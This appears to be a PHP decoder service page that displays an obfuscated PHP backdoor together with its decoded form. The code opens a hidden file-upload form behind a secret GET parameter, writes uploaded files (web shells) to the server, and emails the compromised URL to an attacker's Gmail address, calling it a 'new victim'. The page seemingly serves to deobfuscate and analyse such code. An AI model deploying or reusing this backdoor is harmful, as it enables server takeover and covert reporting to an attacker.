Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\x47\x4cO\x42A\x4c\x53"}["\x6a\x67w\x70v\x6d\x77i"]="\x65\x6dai\x6c";${"G\x4c\x4f\x42A\x4c..
Decoded Output download
<? GLOBALS"}["jgwpvmwi"]="email";${"GLOBALS"}["gwivixdjw"]="y";$qmmuntshs="email";${"GLOBALS"}["grlxpso"]="tmp_file";${"GLOBALS"}["joasusf"]="y";if(isset($_GET["unk"])&&$_GET["unk"]=="kimgx"){if(isset($_POST["upload"])){$icbogmwmvj="type_file";$tjldezrd="tmp_file";$jkhugudyt="name_file";${"GLOBALS"}["ppsuzlwr"]="tmp_file";$uuguxcdy="content_dir";${$uuguxcdy}="./";${"GLOBALS"}["mtnhtugf"]="name_file";${${"GLOBALS"}["ppsuzlwr"]}=$_FILES["fichier"]["tmp_name"];if(!is_uploaded_file(${$tjldezrd})){exit("Le fichier est introuvable");}${$icbogmwmvj}=$_FILES["fichier"]["type"];$gjugasre="content_dir";${${"GLOBALS"}["mtnhtugf"]}=$_FILES["fichier"]["name"];if(!move_uploaded_file(${${"GLOBALS"}["grlxpso"]},${$gjugasre}.${$jkhugudyt})){exit("Impossible de copier le fichier dans $content_dir");}}echo "<form method="POST\" action="#\" enctype=\"multipart/form-data\"><input type=\"file" name="fichier\" size="30"><input type="submit" name=\"upload\" value="Uploader"></form>
";}$krvwsc="email";${$qmmuntshs}="[email protected]";${${"GLOBALS"}["joasusf"]}="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];@mail(${$krvwsc},"Exploit: ".$_SERVER["PHP_SELF"],"Hey , this is a new victim's exploit: ".${${"GLOBALS"}["gwivixdjw"]}."
\n You can use (x=shell_url) at the end of the link ;) ","From: ".${${"GLOBALS"}["jgwpvmwi"]}." <".${${"GLOBALS"}["jgwpvmwi"]}.">\r
?>
Did this file decode correctly?
Original Code
\x47\x4cO\x42A\x4c\x53"}["\x6a\x67w\x70v\x6d\x77i"]="\x65\x6dai\x6c";${"G\x4c\x4f\x42A\x4c\x53"}["\x67\x77i\x76\x69\x78dj\x77"]="y";$qmmuntshs="\x65\x6d\x61il";${"G\x4c\x4fBALS"}["\x67\x72\x6c\x78\x70\x73\x6f"]="\x74m\x70\x5f\x66ile";${"G\x4cO\x42A\x4cS"}["\x6a\x6f\x61\x73\x75\x73f"]="y";if(isset($_GET["\x75\x6e\x6b"])&&$_GET["u\x6e\x6b"]=="k\x69m\x67\x78"){if(isset($_POST["\x75\x70lo\x61\x64"])){$icbogmwmvj="\x74\x79\x70e\x5f\x66i\x6ce";$tjldezrd="t\x6d\x70_\x66\x69\x6c\x65";$jkhugudyt="na\x6d\x65\x5f\x66\x69l\x65";${"GLO\x42\x41\x4c\x53"}["\x70\x70\x73u\x7a\x6c\x77\x72"]="\x74\x6dp\x5f\x66\x69l\x65";$uuguxcdy="\x63\x6f\x6et\x65\x6et\x5f\x64\x69r";${$uuguxcdy}="\x2e/";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6dt\x6e\x68\x74\x75\x67f"]="\x6e\x61\x6de_\x66il\x65";${${"GL\x4f\x42AL\x53"}["pp\x73\x75\x7a\x6c\x77\x72"]}=$_FILES["\x66\x69\x63hi\x65\x72"]["tm\x70\x5fn\x61\x6de"];if(!is_uploaded_file(${$tjldezrd})){exit("Le\x20f\x69\x63\x68\x69e\x72\x20\x65\x73t\x20intr\x6f\x75\x76ab\x6ce");}${$icbogmwmvj}=$_FILES["\x66i\x63h\x69\x65r"]["t\x79\x70e"];$gjugasre="\x63\x6f\x6e\x74\x65\x6e\x74_\x64\x69\x72";${${"\x47LOB\x41LS"}["m\x74n\x68\x74\x75\x67f"]}=$_FILES["\x66\x69\x63h\x69\x65r"]["nam\x65"];if(!move_uploaded_file(${${"GLOBALS"}["gr\x6cx\x70so"]},${$gjugasre}.${$jkhugudyt})){exit("\x49\x6dp\x6f\x73s\x69ble de\x20c\x6fp\x69e\x72\x20le fi\x63h\x69\x65\x72 \x64ans\x20$content_dir");}}echo "\x3cfo\x72\x6d\x20m\x65\x74\x68o\x64\x3d\x22PO\x53T\" ac\x74i\x6fn\x3d\x22#\"\x20e\x6e\x63\x74ype=\"\x6d\x75\x6ctip\x61r\x74/\x66\x6fr\x6d-\x64a\x74\x61\"\x3e<i\x6ep\x75\x74\x20\x74\x79p\x65\x3d\"\x66il\x65\x22\x20\x6e\x61m\x65=\x22\x66\x69\x63\x68i\x65\x72\" siz\x65=\x22\x33\x30\x22>\x3c\x69np\x75t\x20\x74ype=\x22\x73u\x62m\x69t\x22\x20\x6e\x61m\x65=\"uplo\x61\x64\" v\x61\x6c\x75e\x3d\x22\x55p\x6coa\x64e\x72\x22>\x3c/f\x6f\x72\x6d>\n\t\n";}$krvwsc="\x65\x6d\x61i\x6c";${$qmmuntshs}="\x6bi\x6do\x79\x75ke@gm\x61\x69l.\x63\x6fm";${${"\x47\x4c\x4fB\x41LS"}["\x6a\x6f\x61s\x75\x73\x66"]}="\x68\x74\x74\x70://".$_SERVER["H\x54TP_H\x4fS\x54"].$_SERVER["\x52\x45Q\x55\x45\x53T\x5f\x55\x52I"];@mail(${$krvwsc},"Ex\x70\x6co\x69\x74:\x20".$_SERVER["P\x48\x50\x5f\x53\x45\x4cF"],"H\x65y\x20, t\x68\x69s\x20i\x73 a new\x20vict\x69m's e\x78\x70loit: ".${${"\x47\x4c\x4f\x42\x41LS"}["g\x77\x69\x76\x69x\x64j\x77"]}."\x5cn\\n Yo\x75\x20can\x20u\x73e (\x78=s\x68e\x6cl_\x75r\x6c)\x20at \x74\x68e\x20\x65\x6e\x64\x20o\x66\x20\x74he\x20lin\x6b ;) ","\x46ro\x6d:\x20".${${"\x47L\x4f\x42A\x4cS"}["j\x67\x77p\x76\x6d\x77\x69"]}." \x3c".${${"\x47\x4c\x4f\x42\x41LS"}["j\x67\x77\x70\x76\x6d\x77\x69"]}."\x3e\\\x72\x5cn
Function Calls
| None |
Stats
| MD5 | 5a061826e73bc172a884b5071a67cf83 |
| Eval Count | 0 |
| Decode Time | 95 ms |